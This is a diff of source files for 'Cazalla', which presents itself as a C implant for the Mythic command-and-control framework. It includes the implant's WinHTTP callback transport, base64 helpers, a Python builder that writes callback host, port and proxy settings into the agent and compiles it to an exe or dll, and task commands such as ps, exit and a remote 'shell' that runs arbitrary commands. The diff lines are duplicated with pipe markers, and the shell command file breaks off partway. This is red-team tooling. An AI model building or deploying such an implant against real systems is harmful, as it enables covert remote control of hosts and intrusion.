Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
|
||||||
|
|
||||||
#ifdef HTTP_TRANSPORT
|
#ifdef HTTP_TRANSPORT
|
||||||
return realizarPeticionHTTP(datos, tamano);
|
return realizarPeticionHTTP(datos, tamano);
|
||||||
#endif
|
#endif
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
@@ -1,16 +1,16 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#ifndef TRANSPORTE
|
#ifndef TRANSPORTE
|
||||||
#define TRANSPORTE
|
#define TRANSPORTE
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <winhttp.h>
|
#include <winhttp.h>
|
||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
|
|
||||||
#pragma comment(lib, "winhttp.lib")
|
#pragma comment(lib, "winhttp.lib")
|
||||||
|
|
||||||
#define HTTP_TRANSPORT
|
#define HTTP_TRANSPORT
|
||||||
|
|
||||||
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
|
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -1,198 +1,196 @@
|
|||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
|
||||||
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
|
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
|
||||||
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
|
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
|
||||||
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
|
21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
|
||||||
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
|
29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
|
||||||
43, 44, 45, 46, 47, 48, 49, 50, 51 };
|
43, 44, 45, 46, 47, 48, 49, 50, 51 };
|
||||||
|
|
||||||
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||||
|
|
||||||
size_t b64tamanoCodificado(size_t inlen) {
|
size_t b64tamanoCodificado(size_t inlen) {
|
||||||
|
|
||||||
size_t ret;
|
size_t ret;
|
||||||
|
|
||||||
ret = inlen;
|
ret = inlen;
|
||||||
if (inlen % 3 != 0)
|
if (inlen % 3 != 0)
|
||||||
ret += 3 - (inlen % 3);
|
ret += 3 - (inlen % 3);
|
||||||
ret /= 3;
|
ret /= 3;
|
||||||
ret *= 4;
|
ret *= 4;
|
||||||
|
|
||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
int aleatorioInt32(int min, int max){
|
int aleatorioInt32(int min, int max) {
|
||||||
|
|
||||||
return (rand() % (max - min + 1)) + min;
|
return (rand() % (max - min + 1)) + min;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
char* b64Codificado(const unsigned char* in, SIZE_T len) {
|
||||||
|
|
||||||
char* out;
|
char* out;
|
||||||
SIZE_T elen;
|
SIZE_T elen;
|
||||||
SIZE_T i;
|
SIZE_T i;
|
||||||
SIZE_T j;
|
SIZE_T j;
|
||||||
SIZE_T v;
|
SIZE_T v;
|
||||||
|
|
||||||
if (in == NULL || len == 0) {
|
if (in == NULL || len == 0) {
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
elen = b64tamanoCodificado(len);
|
elen = b64tamanoCodificado(len);
|
||||||
out = (char*)LocalAlloc(LPTR, elen + 1);
|
out = (char*)LocalAlloc(LPTR, elen + 1);
|
||||||
if (!out) {
|
if (!out) {
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
out[elen] = '\0';
|
out[elen] = '\0';
|
||||||
|
|
||||||
for (i = 0, j = 0; i < len; i += 3, j += 4) {
|
for (i = 0, j = 0; i < len; i += 3, j += 4) {
|
||||||
|
|
||||||
v = in[i];
|
v = in[i];
|
||||||
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
|
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
|
||||||
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
|
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
|
||||||
|
|
||||||
out[j] = b64chars[(v >> 18) & 0x3F];
|
out[j] = b64chars[(v >> 18) & 0x3F];
|
||||||
out[j + 1] = b64chars[(v >> 12) & 0x3F];
|
out[j + 1] = b64chars[(v >> 12) & 0x3F];
|
||||||
if (i + 1 < len) {
|
if (i + 1 < len) {
|
||||||
|
|
||||||
out[j + 2] = b64chars[(v >> 6) & 0x3F];
|
out[j + 2] = b64chars[(v >> 6) & 0x3F];
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
|
|
||||||
out[j + 2] = '=';
|
out[j + 2] = '=';
|
||||||
}
|
}
|
||||||
if (i + 2 < len) {
|
if (i + 2 < len) {
|
||||||
|
|
||||||
out[j + 3] = b64chars[v & 0x3F];
|
out[j + 3] = b64chars[v & 0x3F];
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
out[j + 3] = '=';
|
out[j + 3] = '=';
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return out;
|
return out;
|
||||||
}
|
}
|
||||||
|
|
||||||
SIZE_T b64tamanoDecodificado(const char* in) {
|
SIZE_T b64tamanoDecodificado(const char* in) {
|
||||||
|
|
||||||
SIZE_T len;
|
SIZE_T len;
|
||||||
SIZE_T ret;
|
SIZE_T ret;
|
||||||
SIZE_T i;
|
SIZE_T i;
|
||||||
|
|
||||||
if (in == NULL) {
|
if (in == NULL) {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
len = strlen(in);
|
len = strlen(in);
|
||||||
ret = len / 4 * 3;
|
ret = len / 4 * 3;
|
||||||
|
|
||||||
for (i = len; i-- > 0; ) {
|
for (i = len; i-- > 0; ) {
|
||||||
if (in[i] == '=') {
|
if (in[i] == '=') {
|
||||||
ret--;
|
ret--;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
int b64IsValidChar(char c) {
|
int b64IsValidChar(char c) {
|
||||||
|
|
||||||
if (c >= '0' && c <= '9') {
|
if (c >= '0' && c <= '9') {
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (c >= 'A' && c <= 'Z') {
|
if (c >= 'A' && c <= 'Z') {
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (c >= 'a' && c <= 'z') {
|
if (c >= 'a' && c <= 'z') {
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (c == '+' || c == '/' || c == '=') {
|
if (c == '+' || c == '/' || c == '=') {
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
||||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) {
|
|
||||||
|
SIZE_T len;
|
||||||
SIZE_T len;
|
SIZE_T i;
|
||||||
SIZE_T i;
|
SIZE_T j;
|
||||||
SIZE_T j;
|
int v;
|
||||||
int v;
|
|
||||||
|
if (in == NULL || out == NULL) {
|
||||||
if (in == NULL || out == NULL) {
|
return 0;
|
||||||
return 0;
|
}
|
||||||
}
|
|
||||||
|
len = strlen(in);
|
||||||
len = strlen(in);
|
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
|
||||||
if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) {
|
return 0;
|
||||||
return 0;
|
}
|
||||||
}
|
|
||||||
|
for (i = 0; i < len; i++) {
|
||||||
for (i = 0; i < len; i++) {
|
if (!b64IsValidChar(in[i])) {
|
||||||
if (!b64IsValidChar(in[i])) {
|
return 0;
|
||||||
return 0;
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
for (i = 0, j = 0; i < len; i += 4, j += 3) {
|
||||||
for (i = 0, j = 0; i < len; i += 4, j += 3) {
|
v = b64invs[in[i] - 43];
|
||||||
v = b64invs[in[i] - 43];
|
v = (v << 6) | b64invs[in[i + 1] - 43];
|
||||||
v = (v << 6) | b64invs[in[i + 1] - 43];
|
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
|
||||||
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43];
|
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
|
||||||
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43];
|
|
||||||
|
out[j] = (v >> 16) & 0xFF;
|
||||||
out[j] = (v >> 16) & 0xFF;
|
if (in[i + 2] != '=') {
|
||||||
if (in[i + 2] != '=') {
|
out[j + 1] = (v >> 8) & 0xFF;
|
||||||
out[j + 1] = (v >> 8) & 0xFF;
|
}
|
||||||
}
|
if (in[i + 3] != '=') {
|
||||||
if (in[i + 3] != '=') {
|
out[j + 2] = v & 0xFF;
|
||||||
out[j + 2] = v & 0xFF;
|
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
return 1;
|
||||||
return 1;
|
}
|
||||||
}
|
|
||||||
|
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
||||||
|
|
||||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) {
|
(buffer)[0] = (value >> 24) & 0xFF;
|
||||||
|
(buffer)[1] = (value >> 16) & 0xFF;
|
||||||
(buffer)[0] = (value >> 24) & 0xFF;
|
(buffer)[2] = (value >> 8) & 0xFF;
|
||||||
(buffer)[1] = (value >> 16) & 0xFF;
|
(buffer)[3] = (value) & 0xFF;
|
||||||
(buffer)[2] = (value >> 8) & 0xFF;
|
}
|
||||||
(buffer)[3] = (value) & 0xFF;
|
|
||||||
}
|
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
|
||||||
|
|
||||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) {
|
buffer[7] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
buffer[7] = value & 0xFF;
|
|
||||||
value >>= 8;
|
buffer[6] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
buffer[6] = value & 0xFF;
|
|
||||||
value >>= 8;
|
buffer[5] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
buffer[5] = value & 0xFF;
|
|
||||||
value >>= 8;
|
buffer[4] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
buffer[4] = value & 0xFF;
|
|
||||||
value >>= 8;
|
buffer[3] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
buffer[3] = value & 0xFF;
|
|
||||||
value >>= 8;
|
buffer[2] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
buffer[2] = value & 0xFF;
|
|
||||||
value >>= 8;
|
buffer[1] = value & 0xFF;
|
||||||
|
value >>= 8;
|
||||||
buffer[1] = value & 0xFF;
|
|
||||||
value >>= 8;
|
buffer[0] = value & 0xFF;
|
||||||
|
|
||||||
buffer[0] = value & 0xFF;
|
|
||||||
}
|
}
|
||||||
@@ -1,27 +1,27 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#ifndef UTILS
|
#ifndef UTILS
|
||||||
#define UTILS
|
#define UTILS
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include "debug.h"
|
#include "debug.h"
|
||||||
|
|
||||||
|
|
||||||
#ifdef __MINGW64__
|
#ifdef __MINGW64__
|
||||||
#define BYTESWAP32(x) __builtin_bswap32( x )
|
#define BYTESWAP32(x) __builtin_bswap32( x )
|
||||||
#define BYTESWAP64(x) __builtin_bswap64( x )
|
#define BYTESWAP64(x) __builtin_bswap64( x )
|
||||||
#endif
|
#endif
|
||||||
#ifdef _MSC_VER
|
#ifdef _MSC_VER
|
||||||
#define BYTESWAP32(x) _byteswap_ulong(x)
|
#define BYTESWAP32(x) _byteswap_ulong(x)
|
||||||
#define BYTESWAP64(x) _byteswap_uint64(x)
|
#define BYTESWAP64(x) _byteswap_uint64(x)
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
SIZE_T b64tamanoDecodificado(const char* in);
|
SIZE_T b64tamanoDecodificado(const char* in);
|
||||||
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
|
int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen);
|
||||||
char* b64Codificado(const unsigned char* in, SIZE_T len);
|
char* b64Codificado(const unsigned char* in, SIZE_T len);
|
||||||
size_t b64tamanoCodificado(size_t inlen);
|
size_t b64tamanoCodificado(size_t inlen);
|
||||||
int aleatorioInt32(int min, int max);
|
int aleatorioInt32(int min, int max);
|
||||||
|
|
||||||
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
|
VOID addInt64ToBuffer(PBYTE buffer, UINT64 value);
|
||||||
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
|
VOID addInt32ToBuffer(PBYTE buffer, UINT32 value);
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -1,131 +1,131 @@
|
|||||||
import pathlib
|
import pathlib
|
||||||
import tempfile
|
import tempfile
|
||||||
from mythic_container.PayloadBuilder import *
|
from mythic_container.PayloadBuilder import *
|
||||||
from mythic_container.MythicCommandBase import *
|
from mythic_container.MythicCommandBase import *
|
||||||
from mythic_container.MythicRPC import *
|
from mythic_container.MythicRPC import *
|
||||||
import json
|
import json
|
||||||
from distutils.dir_util import copy_tree
|
from distutils.dir_util import copy_tree
|
||||||
import asyncio
|
import asyncio
|
||||||
|
|
||||||
|
|
||||||
class CazallaAgent(PayloadType):
|
class CazallaAgent(PayloadType):
|
||||||
name = "Cazalla"
|
name = "Cazalla"
|
||||||
file_extension = "exe"
|
file_extension = "exe"
|
||||||
author = "OFSTeam"
|
author = "OFSTeam"
|
||||||
supported_os = [SupportedOS.Windows]
|
supported_os = [SupportedOS.Windows]
|
||||||
wrapper = False
|
wrapper = False
|
||||||
wrapped_payloads = []
|
wrapped_payloads = []
|
||||||
note = """C implant Developed by the Kaseya OFSTeam"""
|
note = """C implant Developed by the Kaseya OFSTeam"""
|
||||||
supports_dynamic_loading = False
|
supports_dynamic_loading = False
|
||||||
c2_profiles = ["http"]
|
c2_profiles = ["http"]
|
||||||
mythic_encrypts = False
|
mythic_encrypts = False
|
||||||
translation_container = "cazalla_translator"
|
translation_container = "cazalla_translator"
|
||||||
build_parameters = [
|
build_parameters = [
|
||||||
BuildParameter(
|
BuildParameter(
|
||||||
name="output",
|
name="output",
|
||||||
parameter_type=BuildParameterType.ChooseOne,
|
parameter_type=BuildParameterType.ChooseOne,
|
||||||
description="Choose output format",
|
description="Choose output format",
|
||||||
choices=["exe", "dll", "debug_exe","debug_dll"],
|
choices=["exe", "dll", "debug_exe","debug_dll"],
|
||||||
default_value="exe"
|
default_value="exe"
|
||||||
),
|
),
|
||||||
]
|
]
|
||||||
agent_path = pathlib.Path(".") / "cazalla"
|
agent_path = pathlib.Path(".") / "cazalla"
|
||||||
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
|
agent_icon_path = agent_path / "agent_functions" / "cazalla.png"
|
||||||
agent_code_path = agent_path / "agent_code"
|
agent_code_path = agent_path / "agent_code"
|
||||||
|
|
||||||
build_steps = [
|
build_steps = [
|
||||||
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
|
BuildStep(step_name="Gathering Files", step_description="Creating script payload"),
|
||||||
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
|
BuildStep(step_name="Applying configuration", step_description="Updating configuration constants"),
|
||||||
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
|
BuildStep(step_name="Compiling", step_description="Compiling with mingw"),
|
||||||
]
|
]
|
||||||
|
|
||||||
async def build(self) -> BuildResponse:
|
async def build(self) -> BuildResponse:
|
||||||
# this function gets called to create an instance of your payload
|
# this function gets called to create an instance of your payload
|
||||||
resp = BuildResponse(status=BuildStatus.Success)
|
resp = BuildResponse(status=BuildStatus.Success)
|
||||||
Config = {
|
Config = {
|
||||||
"payload_uuid": self.uuid,
|
"payload_uuid": self.uuid,
|
||||||
"callback_host": "",
|
"callback_host": "",
|
||||||
"USER_AGENT": "",
|
"USER_AGENT": "",
|
||||||
"httpMethod": "POST",
|
"httpMethod": "POST",
|
||||||
"post_uri": "",
|
"post_uri": "",
|
||||||
"headers": [],
|
"headers": [],
|
||||||
"callback_port": 80,
|
"callback_port": 80,
|
||||||
"ssl":False,
|
"ssl":False,
|
||||||
"proxyEnabled": False,
|
"proxyEnabled": False,
|
||||||
"proxy_host": "",
|
"proxy_host": "",
|
||||||
"proxy_user": "",
|
"proxy_user": "",
|
||||||
"proxy_pass": "",
|
"proxy_pass": "",
|
||||||
}
|
}
|
||||||
stdout_err = ""
|
stdout_err = ""
|
||||||
for c2 in self.c2info:
|
for c2 in self.c2info:
|
||||||
profile = c2.get_c2profile()
|
profile = c2.get_c2profile()
|
||||||
for key, val in c2.get_parameters_dict().items():
|
for key, val in c2.get_parameters_dict().items():
|
||||||
if isinstance(val, dict) and 'enc_key' in val:
|
if isinstance(val, dict) and 'enc_key' in val:
|
||||||
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
|
stdout_err += "Setting {} to {}".format(key, val["enc_key"] if val["enc_key"] is not None else "")
|
||||||
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
|
encKey = base64.b64decode(val["enc_key"]) if val["enc_key"] is not None else ""
|
||||||
else:
|
else:
|
||||||
Config[key] = val
|
Config[key] = val
|
||||||
break
|
break
|
||||||
|
|
||||||
if "https://" in Config["callback_host"]:
|
if "https://" in Config["callback_host"]:
|
||||||
Config["ssl"] = True
|
Config["ssl"] = True
|
||||||
|
|
||||||
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
|
Config["callback_host"] = Config["callback_host"].replace("https://", "").replace("http://","")
|
||||||
if Config["proxy_host"] != "":
|
if Config["proxy_host"] != "":
|
||||||
Config["proxyEnabled"] = True
|
Config["proxyEnabled"] = True
|
||||||
# create the payload
|
# create the payload
|
||||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
PayloadUUID=self.uuid,
|
PayloadUUID=self.uuid,
|
||||||
StepName="Gathering Files",
|
StepName="Gathering Files",
|
||||||
StepStdout="Found all files for payload",
|
StepStdout="Found all files for payload",
|
||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid)
|
||||||
copy_tree(str(self.agent_code_path), agent_build_path.name)
|
copy_tree(str(self.agent_code_path), agent_build_path.name)
|
||||||
|
|
||||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
PayloadUUID=self.uuid,
|
PayloadUUID=self.uuid,
|
||||||
StepName="Applying configuration",
|
StepName="Applying configuration",
|
||||||
StepStdout="All configuration setting applied",
|
StepStdout="All configuration setting applied",
|
||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
|
with open(agent_build_path.name+"/cazalla/Config.h", "r+") as f:
|
||||||
content = f.read()
|
content = f.read()
|
||||||
content = content.replace("%UUID%", Config["payload_uuid"])
|
content = content.replace("%UUID%", Config["payload_uuid"])
|
||||||
content = content.replace("%HOSTNAME%", Config["callback_host"])
|
content = content.replace("%HOSTNAME%", Config["callback_host"])
|
||||||
content = content.replace("%ENDPOINT%", Config["post_uri"])
|
content = content.replace("%ENDPOINT%", Config["post_uri"])
|
||||||
if Config["ssl"]:
|
if Config["ssl"]:
|
||||||
content = content.replace("%SSL%", "TRUE")
|
content = content.replace("%SSL%", "TRUE")
|
||||||
else:
|
else:
|
||||||
content = content.replace("%SSL%", "FALSE")
|
content = content.replace("%SSL%", "FALSE")
|
||||||
content = content.replace("%PORT%", str(Config["callback_port"]))
|
content = content.replace("%PORT%", str(Config["callback_port"]))
|
||||||
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
|
content = content.replace("%SLEEPTIME%", str(Config["callback_interval"]))
|
||||||
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
|
content = content.replace("%USERAGENT%", Config["USER_AGENT"])
|
||||||
content = content.replace("%PROXYURL%", Config["proxy_host"])
|
content = content.replace("%PROXYURL%", Config["proxy_host"])
|
||||||
if Config["proxyEnabled"]:
|
if Config["proxyEnabled"]:
|
||||||
content = content.replace("%PROXYENABLED%", "TRUE")
|
content = content.replace("%PROXYENABLED%", "TRUE")
|
||||||
else:
|
else:
|
||||||
content = content.replace("%PROXYENABLED%", "FALSE")
|
content = content.replace("%PROXYENABLED%", "FALSE")
|
||||||
f.seek(0)
|
f.seek(0)
|
||||||
f.write(content)
|
f.write(content)
|
||||||
f.truncate()
|
f.truncate()
|
||||||
|
|
||||||
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
|
command = "make -C {} exe".format(agent_build_path.name+"/cazalla")
|
||||||
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
|
filename = agent_build_path.name + "/cazalla/build/cazalla.exe"
|
||||||
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
|
proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE,
|
||||||
stderr=asyncio.subprocess.PIPE)
|
stderr=asyncio.subprocess.PIPE)
|
||||||
|
|
||||||
stdout, stderr = await proc.communicate()
|
stdout, stderr = await proc.communicate()
|
||||||
print(stdout)
|
print(stdout)
|
||||||
print(stderr)
|
print(stderr)
|
||||||
|
|
||||||
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
|
||||||
PayloadUUID=self.uuid,
|
PayloadUUID=self.uuid,
|
||||||
StepName="Compiling",
|
StepName="Compiling",
|
||||||
StepStdout="Successfuly compiled Ra",
|
StepStdout="Successfuly compiled Ra",
|
||||||
StepSuccess=True
|
StepSuccess=True
|
||||||
))
|
))
|
||||||
build_msg = ""
|
build_msg = ""
|
||||||
resp.payload = open(filename, "rb").read()
|
resp.payload = open(filename, "rb").read()
|
||||||
|
|
||||||
return resp
|
return resp
|
||||||
|
|||||||
@@ -1,38 +1,38 @@
|
|||||||
from mythic_container.MythicCommandBase import *
|
from mythic_container.MythicCommandBase import *
|
||||||
import json
|
import json
|
||||||
|
|
||||||
|
|
||||||
class ExitArguments(TaskArguments):
|
class ExitArguments(TaskArguments):
|
||||||
|
|
||||||
def __init__(self, command_line, **kwargs):
|
def __init__(self, command_line, **kwargs):
|
||||||
super().__init__(command_line, **kwargs)
|
super().__init__(command_line, **kwargs)
|
||||||
self.args = []
|
self.args = []
|
||||||
|
|
||||||
async def parse_arguments(self):
|
async def parse_arguments(self):
|
||||||
if len(self.command_line) > 0:
|
if len(self.command_line) > 0:
|
||||||
raise Exception("Este comando no debe tener parametros")
|
raise Exception("Este comando no debe tener parametros")
|
||||||
|
|
||||||
|
|
||||||
class ExitCommand(CommandBase):
|
class ExitCommand(CommandBase):
|
||||||
cmd = "exit"
|
cmd = "exit"
|
||||||
needs_admin = False
|
needs_admin = False
|
||||||
help_cmd = "exit"
|
help_cmd = "exit"
|
||||||
description = "Task para cerrar el proceso del implante"
|
description = "Task para cerrar el proceso del implante"
|
||||||
version = 1
|
version = 1
|
||||||
supported_ui_features = ["callback_table:exit"]
|
supported_ui_features = ["callback_table:exit"]
|
||||||
author = "Kaseya OFSTeam"
|
author = "Kaseya OFSTeam"
|
||||||
argument_class = ExitArguments
|
argument_class = ExitArguments
|
||||||
attackmapping = []
|
attackmapping = []
|
||||||
|
|
||||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
response = PTTaskCreateTaskingMessageResponse(
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
TaskID=taskData.Task.ID,
|
TaskID=taskData.Task.ID,
|
||||||
Success=True,
|
Success=True,
|
||||||
)
|
)
|
||||||
type = taskData.args.get_arg("type")
|
type = taskData.args.get_arg("type")
|
||||||
response.DisplayParams = type
|
response.DisplayParams = type
|
||||||
return response
|
return response
|
||||||
|
|
||||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
return resp
|
return resp
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
import json
|
||||||
|
|
||||||
|
|
||||||
|
class PsArguments(TaskArguments):
|
||||||
|
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = []
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) > 0:
|
||||||
|
raise Exception("ps no debe lanzarse con parametros")
|
||||||
|
|
||||||
|
|
||||||
|
class PsCommand(CommandBase):
|
||||||
|
cmd = "ps"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "ps"
|
||||||
|
description = "Lista los procesos del host."
|
||||||
|
version = 1
|
||||||
|
supported_ui_features = ["process_browser:list"]
|
||||||
|
author = "Kaseya OFSTeam"
|
||||||
|
argument_class = PsArguments
|
||||||
|
browser_script = BrowserScript(
|
||||||
|
script_name="ps", author="Kaseya OFSTeam", for_new_ui=True
|
||||||
|
)
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
builtin=False,
|
||||||
|
supported_os=[ SupportedOS.Windows ],
|
||||||
|
suggested_command=True
|
||||||
|
)
|
||||||
|
attackmapping = []
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
@@ -1,44 +1,44 @@
|
|||||||
from mythic_container.MythicCommandBase import *
|
from mythic_container.MythicCommandBase import *
|
||||||
from mythic_container.MythicRPC import *
|
from mythic_container.MythicRPC import *
|
||||||
|
|
||||||
|
|
||||||
class ShellArguments(TaskArguments):
|
class ShellArguments(TaskArguments):
|
||||||
def __init__(self, command_line, **kwargs):
|
def __init__(self, command_line, **kwargs):
|
||||||
super().__init__(command_line, **kwargs)
|
super().__init__(command_line, **kwargs)
|
||||||
self.args = [
|
self.args = [
|
||||||
CommandParameter(
|
CommandParameter(
|
||||||
name="command",
|
name="command",
|
||||||
type=ParameterType.String,
|
type=ParameterType.String,
|
||||||
description="Comando a ejecutar"
|
description="Comando a ejecutar"
|
||||||
),
|
),
|
||||||
]
|
]
|
||||||
|
|
||||||
async def parse_arguments(self):
|
async def parse_arguments(self):
|
||||||
if len(self.command_line) == 0:
|
if len(self.command_line) == 0:
|
||||||
raise ValueError("Se debe indicar un comando")
|
raise ValueError("Se debe indicar un comando")
|
||||||
self.add_arg("command", self.command_line)
|
self.add_arg("command", self.command_line)
|
||||||
|
|
||||||
async def parse_dictionary(self, dictionary_arguments):
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
self.load_args_from_dictionary(dictionary_arguments)
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
|
||||||
|
|
||||||
class ShellCommand(CommandBase):
|
class ShellCommand(CommandBase):
|
||||||
cmd = "shell"
|
cmd = "shell"
|
||||||
needs_admin = False
|
needs_admin = False
|
||||||
help_cmd = "shell {command}"
|
